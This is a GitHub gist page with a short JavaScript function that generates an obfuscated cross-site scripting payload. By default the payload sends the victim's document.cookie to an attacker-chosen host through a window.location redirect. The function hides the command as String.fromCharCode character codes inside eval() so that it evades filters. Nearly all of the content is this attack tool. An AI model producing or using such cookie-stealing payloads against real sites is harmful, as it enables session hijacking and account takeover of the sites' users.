Skip to content

Instantly share code, notes, and snippets.

@EffectRenan
Last active August 29, 2020 22:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save EffectRenan/9e85ddc199668e7b56decd88c875ef6e to your computer and use it in GitHub Desktop.
Save EffectRenan/9e85ddc199668e7b56decd88c875ef6e to your computer and use it in GitHub Desktop.
function generate(host, com) {
const command = (com == undefined) ? `window.location="${host}/?Cookie="+document.cookie` : com;
let encoded = command[0].charCodeAt();
for (var i = 1; i < command.length; i++) {
encoded += ',' + command[i].charCodeAt();
}
encoded = `eval(String.fromCharCode(${encoded}))`;
console.log(encoded);
return encoded;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment